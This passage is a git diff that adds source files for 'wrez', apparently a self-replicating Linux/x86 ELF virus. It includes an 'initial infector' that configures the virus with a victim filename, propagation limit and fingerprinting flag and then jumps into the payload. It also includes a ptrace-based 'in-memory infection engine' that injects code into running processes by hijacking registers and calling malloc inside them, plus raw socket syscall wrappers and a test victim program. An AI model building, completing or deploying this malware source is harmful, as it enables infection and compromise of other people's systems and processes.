7 * easier, as we have to fixup some compression-related data in the raw data
8 * anyway.
9 */
10
11
12#include <stdio.h>
13#include <stdlib.h>
14#include <unistd.h>
15
16#pragma pack(1)
17#include "wrconfig.h"
18
19void usage (char *progname);
20
21char * configfile = "wrez.bin.conf";
22
23
24void
25usage (char *progname)
26{
27 fprintf (stderr, "usage: %s [-c config] [-i binary.out] <victim>\n"
28 "\n", progname);
29
30 exit (EXIT_FAILURE);
31}
32
33
34int
35main (int argc, char *argv[])
36{
37 FILE * bfp;
38 char * infile = "wrez.bin.out";
39 long int infile_len;
40 unsigned char * infile_data;
41 unsigned int cfg_delta,
42 decomp_len;
43 wrconfig * cfg;
44 wrdynconfig dcfg;
45 unsigned short llstuff, hl2stuff, hf2stuff;
46 char * victim;
47
48 char c;
49 char * progname;
50 FILE * cfgfp;
51 char cfgline[128];
52 char lzstr[128];
53
54
55 fprintf (stderr, "wrez engine - initial infector\n\n");
56
57 progname = argv[0];
58 if (argc < 2)
59 usage (progname);
60
61 while ((c = getopt (argc, argv, "c:i:")) != EOF) {
62 switch (c) {
63 case 'c':
64 configfile = optarg;
65 break;
66 case 'i':
67 infile = optarg;
68 break;
69 default:
70 usage (progname);
71 break;
72 }
73 }
74
75 victim = argv[argc - 1];
76 if (victim[0] == '-')
77 usage (progname);
78
79 /* read in configuration file
80 */
81 cfgfp = fopen (configfile, "r");
82 if (cfgfp == NULL) {
83 perror ("fopen configfile");
84 exit (EXIT_FAILURE);
85 }
86
87 while (fgets (cfgline, sizeof (cfgline), cfgfp) != NULL) {
88 unsigned char keyword[16];
89
90 if (sscanf (cfgline, "%15[^ ]", keyword) != 1) {
91 fprintf (stderr, "invalid configuration file\n");
92 exit (EXIT_FAILURE);
93 }
94
95 /* XXX: kludge, put a better parser in here
96 */
97 if (strcmp (keyword, "configrel") == 0) {
98 if (sscanf (cfgline, "configrel %u", &cfg_delta) != 1) {
99 fprintf (stderr, "invalid configrel\n");
100 exit (EXIT_FAILURE);
101 }
102 } else if (strcmp (keyword, "skip") == 0) {
103 if (sscanf (cfgline, "skip %u", &decomp_len) != 1) {
104 fprintf (stderr, "invalid skip\n");
105 exit (EXIT_FAILURE);
106 }
107 } else if (strcmp (keyword, "compress") == 0) {
108 if (sscanf (cfgline, "compress %127s", lzstr) != 1) {
109 fprintf (stderr, "invalid compress\n");
110 exit (EXIT_FAILURE);
111 }
112 } else {
113 fprintf (stderr, "invalid configuration file\n");
114 exit (EXIT_FAILURE);
115 }
116 }
117
118 if (strlen (victim) >= sizeof (cfg->dyn.vinit.victim)) {
119 fprintf (stderr, "temporary victim filename can be no longer "
120 "than %d characters, yours is %d chars.\n",
121 sizeof (cfg->dyn.vinit.victim) - 1,
122 strlen (victim));
123
124 exit (EXIT_FAILURE);
125 }
126
127 bfp = fopen (infile, "rb");
128 if (bfp == NULL) {
129 perror ("fopen");
130
131 exit (EXIT_FAILURE);
132 }
133
134 fseek (bfp, 0, SEEK_END);
135 infile_len = ftell (bfp);
136 fseek (bfp, 0, SEEK_SET);
137
138 infile_data = calloc (1, infile_len + 64 * 1024 + 2);
139 infile_data[0] = 0x9c; /* pushf */
140 infile_data[1] = 0x60; /* pusha */
141
142 if (fread (infile_data + 2, 1, infile_len, bfp) != infile_len) {
143 fprintf (stderr, "failed to read %s into memory, expected %ld "
144 "bytes, got less.\n", infile, infile_len);
145 exit (EXIT_FAILURE);
146 }
147 fclose (bfp);
148
149 printf ("# successfully read %ld bytes into memory\n", infile_len);
150 printf ("# fixing configuration structure\n");
151
152
153 /* get new configuration structure, and change important settings:
154 *
155 * wr_start = virtual address of first byte of virus (dynamic)
156 * decomp_len = length of the decompression stub (static)
157 * victim = first-infection victim filename (dynamic), later used
158 * for flag data, see wrconfig.h
159 * cmprlen, llstuff, hl1stuff, hl2stuff, hf2stuff = decompression
160 * related data used by the decompression stub (static)
161 */
162 cfg = (wrconfig *) (&infile_data[2] + cfg_delta);
163
164 printf ("# .. wr_start [0x%08lx] -> ", cfg->wr_start);
165 cfg->wr_start = (unsigned long int) &infile_data[2];
166 printf ("[0x%08lx]\n", cfg->wr_start);
167
168 printf ("# .. decomp_len [%ld] -> ", cfg->decomp_len);
169 cfg->decomp_len = decomp_len;
170 printf ("[%ld]\n", cfg->decomp_len);
171
172 printf ("# .. elf_base [0x%08lx] -> ", cfg->elf_base);
173 cfg->elf_base = 0x08048000; /* XXX: kludge, hardcoded values */
174 printf ("[0x%08lx]\n", cfg->elf_base);
175
176 printf ("# .. dyn.vinit.victim[%d] \"%s\" -> ",
177 sizeof (cfg->dyn.vinit.victim),
178 cfg->dyn.vinit.victim);
179 memcpy (cfg->dyn.vinit.victim, victim, strlen (victim) + 1);
180 printf ("\"%s\" (%d + 1 bytes)\n", cfg->dyn.vinit.victim,
181 strlen (victim));
182
183 /* TODO: initialize dcfg structure
184 */
185 dcfg.cnul = 0x00;
186 dcfg.flags = 0;
187 WRF_SET (dcfg.flags, WRF_GENERATION_LIMIT);
188 dcfg.icount = 3; /* three propagations, then infertile */
189 WRF_SET (dcfg.flags, WRF_GET_FINGERPRINT);
190 memcpy (dcfg.xxx_temp, "victim", 7);
191
192 if (sizeof (wrdynconfig) > (VICTIM_LEN + sizeof (void *))) {
193 fprintf (stderr, "FATAL: sizeof wrdynconfig exceeds space: "
194 "%d > %d\n", sizeof (wrdynconfig), (VICTIM_LEN +
195 sizeof (void *)));
196
197 exit (EXIT_FAILURE);
198 }
199
200 printf ("# .. dyn.vinit.vcfgptr [0x%08lx] -> ",
201 (unsigned long int) cfg->dyn.vinit.vcfgptr);
202 cfg->dyn.vinit.vcfgptr = &dcfg;
203 printf ("[0x%08lx]\n", (unsigned long int) cfg->dyn.vinit.vcfgptr);
204
205 if (sscanf (lzstr, "%lu:%hu:%hu:%hu:%hu",
206 &cfg->cmprlen, &llstuff, &cfg->hl1stuff, &hl2stuff,
207 &hf2stuff) != 5)
208 {
209 fprintf (stderr, "failed to parse huffman string: %s\n",
210 argv[3]);
211
212 exit (EXIT_FAILURE);
213 }
214 cfg->llstuff = llstuff;
215 cfg->hl2stuff = hl2stuff;
216 cfg->hf2stuff = hf2stuff;
217
218 printf ("# .. cmprlen\tllstuff\thl1st\thl2st\thf2st\n");
219 printf ("# 0x%04lx\t0x%02x\t0x%04x\t0x%02x\t0x%02x\n",
220 cfg->cmprlen, cfg->llstuff, cfg->hl1stuff, cfg->hl2stuff,
221 cfg->hf2stuff);
222
223 printf ("# fixed, ready to infect.\n");
224
225 /* 0x83 0xc3 0xfc 0x83 = add $0xfffffffc, %ebx */
226 __asm__ __volatile__ (
227 "call *%%eax\n"
228 "add $0xfffffffc, %%ebx\n"
229 : : "a" (infile_data), "b" (infile_data));
230
231 printf ("# infected.\n");
232
233 exit (EXIT_SUCCESS);
234}
235
236
237
diff --git a/other/wrez/inmem b/other/wrez/inmem
new file mode 100755
index 0000000..dc928aa
--- /dev/null
+++ b/other/wrez/inmem
Binary files differ
diff --git a/other/wrez/inmem-test.c b/other/wrez/inmem-test.c
new file mode 100644
index 0000000..ed15e35
--- /dev/null
+++ b/other/wrez/inmem-test.c
@@ -0,0 +1,24 @@
1
2/* small victim program to test in-memory infection with
3 */
4
5#include <stdio.h>
6#include <stdlib.h>
7#include <unistd.h>
8#include <time.h>
9
10
11int
12main (int argc, char *argv[])
13{
14 int i = 0;
15
16 srandom (time (NULL));
17
18 for (;;) {
19 printf ("test %5d\n", i++);
20 usleep (400000);
21 (void) malloc (random () % 16384);
22 }
23}
24
diff --git a/other/wrez/inmem.c b/other/wrez/inmem.c
new file mode 100644
index 0000000..00ef599
--- /dev/null
+++ b/other/wrez/inmem.c
@@ -0,0 +1,300 @@
1/* in memory infection code
2 * for x86/linux and the broken ptrace interface only, so far.
3 */
4
5#include <sys/ptrace.h>
6#include <sys/user.h>
7#include "lookup-pm.h"
8#include "wrconfig.h"
9#include "common.c"
10#include "wrutil.c"
11#include "int80.h"
12
13
14#define PF_PTR_MAGIC 0x0039f307 /* unlikely to appear */
15
16typedef struct {
17 int initial; /* when PF_PTR_MAGIC, struct is initialized */
18
19 int pt_state; /* the ptrace state of the process */
20 int pt_pid; /* pid that is being ptraced */
21} pf_ptrs;
22
23
24/* local prototypes
25 */
26#define ptrace(r,p,a,d) im_ptrace(r,p,(void *)a,(void *)d)
27static long im_ptrace (long request, long pid, void *addr, void *data);
28static unsigned int pf_ptrace (void *addr);
29
30
31/* ptrace
32 *
33 * use non-inlined ptrace, because we cannot pass more than three parameters
34 * with the syscall interface.
35 */
36
37static long
38im_ptrace (long request, long pid, void *addr, void *data)
39{
40 long ret;
41
42 __asm__ __volatile__ ( "int $0x80"
43 : "=a" (ret)
44 : "a" (__NR_ptrace), "b" (&request));
45
46 return (ret);
47}
48
49
50static unsigned int
51pf_ptrace (void *addr)
52{
53 pf_ptrs * pfs;
54 unsigned int data;
55
56 /* static initialization stuff
57 */
58 STATICPTR ((void *) pfs, "12");
59
60 if (((unsigned int) addr) == PF_PTR_MAGIC) {
61 pfs->initial = PF_PTR_MAGIC;
62
63 return (0);
64 } else if (pfs->initial == PF_PTR_MAGIC) {
65 memcpy ((unsigned char *) pfs, (unsigned char *) addr,
66 sizeof (pf_ptrs));
67 pfs->initial = 0;
68
69 return (0);
70 }
71
72 /* we have a sane pfs pointer by now, so we can actually get work done
73 */
74 data = ptrace (PTRACE_PEEKDATA, pfs->pt_pid, addr, NULL);
75
76#ifdef TESTING
77 printf ("pt: 0x%08x = PEEKDATA (pid = %5d, addr = 0x%08x)\n",
78 data, pfs->pt_pid, (unsigned int) addr);
79#endif
80
81 /* FIXME: use kernel syscall interface to pull errno, since it is the
82 * only way we can tell, that ptrace failed.
83 */
84 return (data);
85}
86
87
88int
89inm_call (int pid, char *func, unsigned int *args, unsigned int args_count,
90 unsigned int *retval)
91{
92 pf_ptrs pfi; /* initialization struct */
93 void * pf_ptrace_ptr; /* local pointer to ptrace function */
94
95 void * dst_func_entry;
96 int n;
97 int failure = 1;
98
99 /* ptrace low level variables
100 */
101 struct user pt_user, /* original backup registers */
102 pt_user_our; /* temporarily used by us */
103 unsigned int addr; /* working address */
104 unsigned int save_stack[8 + 1]; /* at max 8 arguments */
105#define OPC_MARKER 0xcccccccc
106 unsigned int save_opcode = OPC_MARKER;
107 /* opcode at current %eip */
108 int status; /* traced process status */
109
110
111 if (args_count > ((sizeof (save_stack) / sizeof (save_stack[0])) - 1))
112 return (1);
113
114 pfi.initial = 0;
115 pfi.pt_state = 0; /* XXX: not yet used */
116 pfi.pt_pid = pid;
117
118 pf_ptrace ((void *) PF_PTR_MAGIC);
119 pf_ptrace (&pfi);
120
121 FUNCPTR (pf_ptrace_ptr, "pf_ptrace");
122
123 /* try to resolve "malloc" symbol
124 * XXX: assume a standard linux ELF memory layout, start at 0x08048000
125 */
126 dst_func_entry = symbol_resolve (pf_ptrace_ptr,
127 (void *) 0x08048000, func);
128
129 if (dst_func_entry == NULL)
130 return (1);
131
132 /* now that we have the address of malloc, lets get the space to
133 * inject us into the process
134 *
135 * order: 1. save anything we will modify later
136 * 2. build stack frame for malloc parameters and call malloc
137 * 3. restore everything we touched
138 */
139 /* step 1: save registers and stack content */
140 if (ptrace (PTRACE_GETREGS, pid, NULL, &pt_user) < 0)
141 return (1);
142
143 memcpy (&pt_user_our, &pt_user, sizeof (pt_user_our));
144
145 addr = pt_user.regs.esp;
146 for (n = 0 ; n < (sizeof (save_stack) / sizeof (save_stack[0])) ; ++n)
147 save_stack[n] = ptrace (PTRACE_PEEKDATA, pid,
148 addr + 4 * n, NULL);
149
150 /* step 2: setup call frame on stack
151 * stack layout:
152 *
153 * pt_user.regs.esp -> top_val not modified
154 * + 4 parameter #last
155 * + ... parameter #1
156 * new esp -> + ... return address set to magic
157 */
158 for (addr = pt_user.regs.esp - sizeof (int), n = args_count - 1 ;
159 n >= 0 ; --n, addr -= 4)
160 {
161 if (ptrace (PTRACE_POKEDATA, pid, addr, args[n]) < 0)
162 goto bail;
163 }
164
165 /* now setup an "int3" trap at the current eip, and use this as
166 * return address. ptrace will poke into any kind of page protection,
167 * so this really should be no problem, even with -w pages.
168 *
169 * 1. put the retaddr on top of the stack
170 * 2. save the old opcodes from the current eip
171 * 3. overwrite the current instruction
172 */
173 if (ptrace (PTRACE_POKEDATA, pid, addr, pt_user.regs.eip) < 0)
174 goto bail;
175
176 save_opcode = ptrace (PTRACE_PEEKDATA, pid, pt_user.regs.eip, NULL);
177 if (ptrace (PTRACE_POKEDATA, pid, pt_user.regs.eip, 0xcccccccc) < 0)
178 goto bail;
179
180
181 /* step 2: call malloc, redirect eip
182 */
183 pt_user_our.regs.esp = addr;
184 pt_user_our.regs.eip = (unsigned int) dst_func_entry;
185 if (ptrace (PTRACE_SETREGS, pid, NULL, &pt_user_our) < 0)
186 goto bail;
187
188#if 0
189 /**** XXX: this is an alternative implementation using singlestepping.
190 * it is slower but does not have to modify the .text section of the
191 * running process.
192 */
193
194 /* single step through malloc function, until we reach our magic
195 * return address (malloc return value is in %eax afterwards)
196 */
197 do {
198 if (ptrace (PTRACE_SINGLESTEP, pid, NULL, NULL) < 0)
199 goto bail;
200
201 wait (NULL);
202
203 if (ptrace (PTRACE_GETREGS, pid, NULL, &pt_user_our) < 0)
204 goto bail;
205 } while (pt_user_our.regs.eip != PF_RETADDR_MAGIC);
206#endif
207 if (ptrace (PTRACE_CONT, pid, NULL, NULL) < 0)
208 goto bail;
209
210 waitpid (pid, &status, 0); /* detrap */
211 if (WIFEXITED (status))
212 goto bail;
213
214 /* save function return value for later use
215 */
216 if (ptrace (PTRACE_GETREGS, pid, NULL, &pt_user_our) < 0)
217 goto bail;
218 *retval = (unsigned int) pt_user_our.regs.eax;
219
220 failure = 0;
221
222bail: /* restore stack frame */
223 for (n = 0 ; n < (sizeof (save_stack) / sizeof (save_stack[0])) ; ++n)
224 ptrace (PTRACE_POKEDATA, pid, addr + 4 * n, save_stack[n]);
225
226 /* restore registers */
227 ptrace (PTRACE_SETREGS, pid, NULL, &pt_user);
228
229 if (save_opcode != OPC_MARKER)
230 ptrace (PTRACE_POKEDATA, pid, pt_user.regs.eip, save_opcode);
231
232 return (failure);
233}
234
235
236#ifdef TESTING
237
238int
239main (int argc, char *argv[])
240{
241 int fpid;
242 char * eargv[2];
243 char * func;
244 unsigned int margs[1],
245 mret;
246 int status;
247
248 STRINGPTR (eargv[0], "/tmp/inmem-test");
249 eargv[1] = NULL;
250
251 fpid = fork ();
252 if (fpid < 0)
253 _exit (0);
254
255 /* child */
256 if (fpid == 0) {
257 if (ptrace (PTRACE_TRACEME, 0, NULL, NULL) != 0)
258 _exit (0);
259
260 execve (eargv[0], eargv, NULL);
261 write (2, "FAILURE!\n", 9);
262 _exit (0);
263 }
264
265 wait (NULL);
266
267 /* now start the show, then wait a bit and inject ourselves
268 */
269 ptrace (PTRACE_CONT, fpid, NULL, NULL);
270
271 sleep (1);
272 kill (fpid, SIGSTOP);
273
274 waitpid (fpid, &status, 0);
275 printf ("status: 0x%08x\n", status);
276
277 if (WIFEXITED (status)) {
278 printf ("child exited, aborting\n");
279
280 _exit (1);
281 }
282
283 STRINGPTR (func, "malloc");
284 margs[0] = 0x1234;
285
286 if (inm_call (fpid, func, margs, 1, &mret) != 0) {
287 printf ("malloc in victim process failed\n");
288
289 _exit (1);
290 }
291
292 printf ("malloc in process %d: 0x%08x\n", fpid, mret);
293 ptrace (PTRACE_DETACH, fpid, NULL, NULL);
294
295 printf ("exiting\n");
296}
297
298#endif
299
300
diff --git a/other/wrez/inmem.h b/other/wrez/inmem.h
new file mode 100644
index 0000000..b9eacd8
--- /dev/null
+++ b/other/wrez/inmem.h
@@ -0,0 +1,35 @@
1/* inmem.c - in-memory runtime infection engine
2 *
3 * this module provide the capability to attach to other running processes
4 * through the 'ptrace' debug interface on linux/x86. it provides abstracted
5 * functions to call functions within the attached process and to infect the
6 * runtime image of the process with the entire virus in a safe way. it is
7 * optimized for a minimum of context switches, so infection does not delay
8 * normal execution.
9 */
10
11#ifndef INMEM_H
12#define INMEM_H
13
14
15/* inm_call
16 *
17 * obtain the address of function `func' in already traced process referenced
18 * by `pid' and call with parameter frame `args', which is `args_count' words
19 * long. when `retval' is non-NULL, store return value of function call in it.
20 * will clobber pf_ptrace's static frame.
21 *
22 * XXX: the process `pid' has to be in stopped state with us already having
23 * waitpid'ed on it, else this function might run into serious blocking
24 * or ptrace-misbehave issues.
25 *
26 * return 0 on success
27 * return != 0 on failure
28 */
29
30int inm_call (int pid, char *func, unsigned int *args,
31 unsigned int args_count, unsigned int *retval);
32
33
34#endif
35
diff --git a/other/wrez/inmem.o b/other/wrez/inmem.o
new file mode 100644
index 0000000..04bc986
--- /dev/null
+++ b/other/wrez/inmem.o
Binary files differ
diff --git a/other/wrez/int80-net.h b/other/wrez/int80-net.h
new file mode 100644
index 0000000..2e67eca
--- /dev/null
+++ b/other/wrez/int80-net.h
@@ -0,0 +1,429 @@
1
2
3#ifndef INT80_NET_H
4#define INT80_NET_H
5
6
7#define SOCK_STREAM 1
8#define SOCK_DGRAM 2
9#define SOCK_RAW 3
10
11#define PF_LOCAL 1
12#define PF_UNIX PF_LOCAL
13#define PF_FILE PF_LOCAL
14#define PF_INET 2
15#define PF_INET6 10
16#define PF_NETLINK 16
17#define PF_ROUTE PF_NETLINK
18#define PF_PACKET 17
19
20#define AF_UNSPEC PF_UNSPEC
21#define AF_LOCAL PF_LOCAL
22#define AF_UNIX PF_UNIX
23#define AF_FILE PF_FILE
24#define AF_INET PF_INET
25#define AF_INET6 PF_INET6
26#define AF_NETLINK PF_NETLINK
27#define AF_ROUTE PF_ROUTE
28#define AF_PACKET PF_PACKET
29
30#define MSG_OOB 0x01
31#define MSG_PEEK 0x02
32#define MSG_DONTWAIT 0x40
33
34
35#pragma pack(1)
36struct in_addr {
37 unsigned int s_addr;
38};
39
40struct sockaddr_in {
41// unsigned char sin_len;
42 unsigned short sin_family;
43 unsigned short sin_port;
44 struct in_addr sin_addr;
45 char sin_zero[8];
46};
47
48#define SYS_SOCKET 1 /* sys_socket(2) */
49#define SYS_BIND 2 /* sys_bind(2) */
50#define SYS_CONNECT 3 /* sys_connect(2) */
51#define SYS_LISTEN 4 /* sys_listen(2) */
52#define SYS_ACCEPT 5 /* sys_accept(2) */
53#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
54#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
55#define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */
56#define SYS_SEND 9 /* sys_send(2) */
57#define SYS_RECV 10 /* sys_recv(2) */
58#define SYS_SENDTO 11 /* sys_sendto(2) */
59#define SYS_RECVFROM 12 /* sys_recvfrom(2) */
60#define SYS_SHUTDOWN 13 /* sys_shutdown(2) */
61#define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */
62#define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */
63#define SYS_SENDMSG 16 /* sys_sendmsg(2) */
64#define SYS_RECVMSG 17 /* sys_recvmsg(2) */
65
66typedef int socklen_t;
67
68
69static inline int
70socket (int domain, int type, int protocol)
71{
72 register int ret;
73
74 __asm__ __volatile__ ("
75 pushl %3
76 pushl %2
77 pushl %1
78 movl %%esp, %%ecx
79 int $0x80
80 addl $0x0c, %%esp
81 " : "=a" (ret)
82 : "m" (domain), "m" (type), "m" (protocol),
83 "a" (__NR_socketcall), "b" (SYS_SOCKET) : "ecx");
84
85 return (ret);
86}
87
88
89static inline int
90bind (int sock, struct sockaddr_in *addr, socklen_t *addrlen)
91{
92 register int ret;
93
94 __asm__ __volatile__ ("
95 pushl %3
96 pushl %2
97 pushl %1
98 movl %%esp, %%ecx
99 int $0x80
100 addl $0x0c, %%esp
101 " : "=a" (ret)
102 : "m" (sock), "m" (addr), "m" (addrlen),
103 "a" (__NR_socketcall), "b" (SYS_BIND) : "ecx");
104
105 return (ret);
106}
107
108
109static inline int
110connect (int sock, const struct sockaddr_in *addr, socklen_t *addrlen)
111{
112 register int ret;
113
114 __asm__ __volatile__ ("
115 pushl %3
116 pushl %2
117 pushl %1
118 movl %%esp, %%ecx
119 int $0x80
120 addl $0x0c, %%esp
121 " : "=a" (ret)
122 : "m" (sock), "m" (addr), "m" (addrlen),
123 "a" (__NR_socketcall), "b" (SYS_CONNECT) : "ecx");
124
125 return (ret);
126}
127
128
129static inline int
130listen (int sock, int backlog)
131{
132 register int ret;
133
134 __asm__ __volatile__ ("
135 pushl %2
136 pushl %1
137 movl %%esp, %%ecx
138 int $0x80
139 addl $0x08, %%esp
140 " : "=a" (ret)
141 : "m" (sock), "m" (backlog),
142 "a" (__NR_socketcall), "b" (SYS_LISTEN) : "ecx");
143
144 return (ret);
145}
146
147
148static inline int
149accept (int sock, struct sockaddr_in *addr, socklen_t *addrlen)
150{
151 register int ret;
152
153 __asm__ __volatile__ ("
154 pushl %3
155 pushl %2
156 pushl %1
157 movl %%esp, %%ecx
158 int $0x80
159 addl $0x0c, %%esp
160 " : "=a" (ret)
161 : "m" (sock), "m" (addr), "m" (addrlen),
162 "a" (__NR_socketcall), "b" (SYS_ACCEPT) : "ecx");
163
164 return (ret);
165}
166
167
168static inline int
169getsockname (int sock, struct sockaddr_in *name, socklen_t *namelen)
170{
171 register int ret;
172
173 /* eeks, if just inlining was better documented.
174 */
175 __asm__ __volatile__ ("
176 pushl %3
177 pushl %2
178 pushl %1
179 movl %%esp, %%ecx
180 int $0x80
181 addl $0x0c, %%esp
182 " : "=a" (ret)
183 : "m" (sock), "m" (name), "m" (namelen),
184 "a" (__NR_socketcall), "b" (SYS_GETSOCKNAME) : "ecx");
185
186 return (ret);
187}
188
189
190static inline int
191getpeername (int sock, struct sockaddr_in *name, socklen_t *namelen)
192{
193 register int ret;
194
195 /* eeks, if just inlining was better documented.
196 */
197 __asm__ __volatile__ ("
198 pushl %3
199 pushl %2
200 pushl %1
201 movl %%esp, %%ecx
202 int $0x80
203 addl $0x0c, %%esp
204 " : "=a" (ret)
205 : "m" (sock), "m" (name), "m" (namelen),
206 "a" (__NR_socketcall), "b" (SYS_GETPEERNAME) : "ecx");
207
208 return (ret);
209}
210
211
212static inline int
213socketpair (int d, int type, int protocol, int sv[2])
214{
215 register int ret;
216
217 __asm__ __volatile__ ("
218 pushl %4
219 pushl %3
220 pushl %2
221 pushl %1
222 movl %%esp, %%ecx
223 int $0x80
224 addl $0x10, %%esp
225 " : "=a" (ret)
226 : "m" (d), "m" (type), "m" (protocol), "m" (sv),
227 "a" (__NR_socketcall), "b" (SYS_SOCKETPAIR) : "ecx");
228
229 return (ret);
230}
231
232
233static inline int
234send (int s, const void *msg, int len, int flags)
235{
236 register int ret;
237
238 __asm__ __volatile__ ("
239 pushl %4
240 pushl %3
241 pushl %2
242 pushl %1
243 movl %%esp, %%ecx
244 int $0x80
245 addl $0x10, %%esp
246 " : "=a" (ret)
247 : "m" (s), "m" (msg), "m" (len), "m" (flags),
248 "a" (__NR_socketcall), "b" (SYS_SEND) : "ecx");
249
250 return (ret);
251}
252
253
254static inline int
255recv (int s, void *buf, int len, int flags)
256{
257 register int ret;
258
259 __asm__ __volatile__ ("
260 pushl %4
261 pushl %3
262 pushl %2
263 pushl %1
264 movl %%esp, %%ecx
265 int $0x80
266 addl $0x10, %%esp
267 " : "=a" (ret)
268 : "m" (s), "m" (buf), "m" (len), "m" (flags),
269 "a" (__NR_socketcall), "b" (SYS_RECV) : "ecx");
270
271 return (ret);
272}
273
274
275static inline int
276sendto (int s, const void *msg, int len, int flags,
277 const struct sockaddr_in *to, socklen_t tolen)
278{
279 register int ret;
280
281 __asm__ __volatile__ ("
282 pushl %6
283 pushl %5
284 pushl %4
285 pushl %3
286 pushl %2
287 pushl %1
288 movl %%esp, %%ecx
289 int $0x80
290 addl $0x18, %%esp
291 " : "=a" (ret)
292 : "m" (s), "m" (msg), "m" (len), "m" (flags), "m" (to),
293 "m" (tolen), "a" (__NR_socketcall), "b" (SYS_SENDTO) : "ecx");
294
295 return (ret);
296}
297
298
299static inline int
300recvfrom (int s, void *buf, int len, int flags,
301 struct sockaddr_in *from, socklen_t *fromlen)
302{
303 register int ret;
304
305 __asm__ __volatile__ ("
306 pushl %6
307 pushl %5
308 pushl %4
309 pushl %3
310 pushl %2
311 pushl %1
312 movl %%esp, %%ecx
313 int $0x80
314 addl $0x18, %%esp
315 " : "=a" (ret)
316 : "m" (s), "m" (buf), "m" (len), "m" (flags), "m" (from),
317 "m" (fromlen), "a" (__NR_socketcall), "b" (SYS_RECVFROM) : "ecx");
318
319 return (ret);
320}
321
322
323static inline int
324shutdown (int sock, int how)
325{
326 register int ret;
327
328 __asm__ __volatile__ ("
329 pushl %2
330 pushl %1
331 movl %%esp, %%ecx
332 int $0x80
333 addl $0x08, %%esp
334 " : "=a" (ret)
335 : "m" (sock), "m" (how),
336 "a" (__NR_socketcall), "b" (SYS_SHUTDOWN) : "ecx");
337
338 return (ret);
339}
340
341
342static inline int
343setsockopt (int s, int level, int optname, const void *optval,
344 socklen_t optlen)
345{
346 register int ret;
347
348 __asm__ __volatile__ ("
349 pushl %5
350 pushl %4
351 pushl %3
352 pushl %2
353 pushl %1
354 movl %%esp, %%ecx
355 int $0x80
356 addl $0x14, %%esp
357 " : "=a" (ret)
358 : "m" (s), "m" (level), "m" (optname), "m" (optval),
359 "m" (optlen), "a" (__NR_socketcall),
360 "b" (SYS_SETSOCKOPT) : "ecx");
361
362 return (ret);
363}
364
365
366static inline int
367getsockopt (int s, int level, int optname, void *optval, socklen_t *optlen)
368{
369 register int ret;
370
371 __asm__ __volatile__ ("
372 pushl %5
373 pushl %4
374 pushl %3
375 pushl %2
376 pushl %1
377 movl %%esp, %%ecx
378 int $0x80
379 addl $0x14, %%esp
380 " : "=a" (ret)
381 : "m" (s), "m" (level), "m" (optname), "m" (optval),
382 "m" (optlen), "a" (__NR_socketcall),
383 "b" (SYS_GETSOCKOPT) : "ecx");
384
385 return (ret);
386}
387
388
389static inline int
390sendmsg (int s, const void *msg, int flags)
391{
392 register int ret;
393
394 __asm__ __volatile__ ("
395 pushl %3
396 pushl %2
397 pushl %1
398 movl %%esp, %%ecx
399 int $0x80
400 addl $0x0c, %%esp
401 " : "=a" (ret)
402 : "m" (s), "m" (msg), "m" (flags),
403 "a" (__NR_socketcall), "b" (SYS_SENDMSG) : "ecx");
404
405 return (ret);
406}
407
408static inline int
409recvmsg (int s, void *msg, int flags)
410{
411 register int ret;
412
413 __asm__ __volatile__ ("
414 pushl %3
415 pushl %2
416 pushl %1
417 movl %%esp, %%ecx
418 int $0x80
419 addl $0x0c, %%esp
420 " : "=a" (ret)
421 : "m" (s), "m" (msg), "m" (flags),
422 "a" (__NR_socketcall), "b" (SYS_RECVMSG) : "ecx");
423
424 return (ret);
425}
426
427#endif
428
429
diff --git a/other/wrez/int80.h b/other/wrez/int80.h
new file mode 100644
index 0000000..0701ba7
--- /dev/null
+++ b/other/wrez/int80.h
@@ -0,0 +1,586 @@
1#ifndef INT80_H
2#define INT80_H
3
4#include "unistd.h"
5
6#ifndef _I386_FCNTL_H
7#define O_RDONLY 00
8#define O_WRONLY 01
9#define O_RDWR 02
10#define O_CREAT 0100
11#define O_TRUNC 01000
12#define O_APPEND 02000
13#define F_DUPFD 0 /* Duplicate file descriptor. */
14#define F_GETFD 1 /* Get file descriptor flags. */
15#define F_SETFD 2 /* Set file descriptor flags. */
16#define F_GETFL 3 /* Get file status flags. */
17#define F_SETFL 4 /* Set file status flags. */
18#endif
19
20/* from bits/termios.h */
21#define TCGETS 0x5401
22#define TCSETS 0x5402
23#define TCSETSW 0x5403
24#define TCSETSF 0x5404
25
26#define ISIG 0000001
27#define ECHO 0000010
28
29
30/* wait bits
31 */
32#define WNOHANG 0x01
33#define WUNTRACED 0x02
34
35#define WEXITSTATUS(status) (((status) & 0xff00) >> 8)
36
37/* If WIFSIGNALED(STATUS), the terminating signal. */
38#define WTERMSIG(status) ((status) & 0x7f)
39
40/* If WIFSTOPPED(STATUS), the signal that stopped the child. */
41#define WSTOPSIG(status) WEXITSTATUS(status)
42
43/* Nonzero if STATUS indicates normal termination. */
44#define WIFEXITED(status) (WTERMSIG(status) == 0)
45
46#define WIFSIGNALED(status) (!WIFSTOPPED(status) && !WIFEXITED(status))
47
48/* Nonzero if STATUS indicates the child is stopped. */
49#define WIFSTOPPED(status) (((status) & 0xff) == 0x7f)
50
51/* Nonzero if STATUS indicates the child dumped core. */
52#define WCOREDUMP(status) ((status) & WCOREFLAG)
53
54/* Macros for constructing status values. */
55#define W_EXITCODE(ret, sig) ((ret) << 8 | (sig))
56#define W_STOPCODE(sig) ((sig) << 8 | 0x7f)
57#define WCOREFLAG 0x80
58
59
60typedef unsigned char cc_t;
61typedef unsigned int speed_t;
62typedef unsigned int tcflag_t;
63
64#define NCCS 32
65
66typedef struct {
67 tcflag_t c_iflag; /* input mode flags */
68 tcflag_t c_oflag; /* output mode flags */
69 tcflag_t c_cflag; /* control mode flags */
70 tcflag_t c_lflag; /* local mode flags */
71 cc_t c_line; /* line discipline */
72 cc_t c_cc[NCCS]; /* control characters */
73 speed_t c_ispeed; /* input speed */
74 speed_t c_ospeed; /* output speed */
75} termios;
76
77/* from bits/utsname.h and sys/utsname.h */
78#define _UTSNAME_LENGTH 65
79#define _UTSNAME_DOMAIN_LENGTH _UTSNAME_LENGTH
80#define _UTSNAME_NODENAME_LENGTH _UTSNAME_LENGTH
81
82struct utsname {
83 char sysname[_UTSNAME_LENGTH];
84 char nodename[_UTSNAME_NODENAME_LENGTH];
85 char release[_UTSNAME_LENGTH];
86 char version[_UTSNAME_LENGTH];
87 char machine[_UTSNAME_LENGTH];
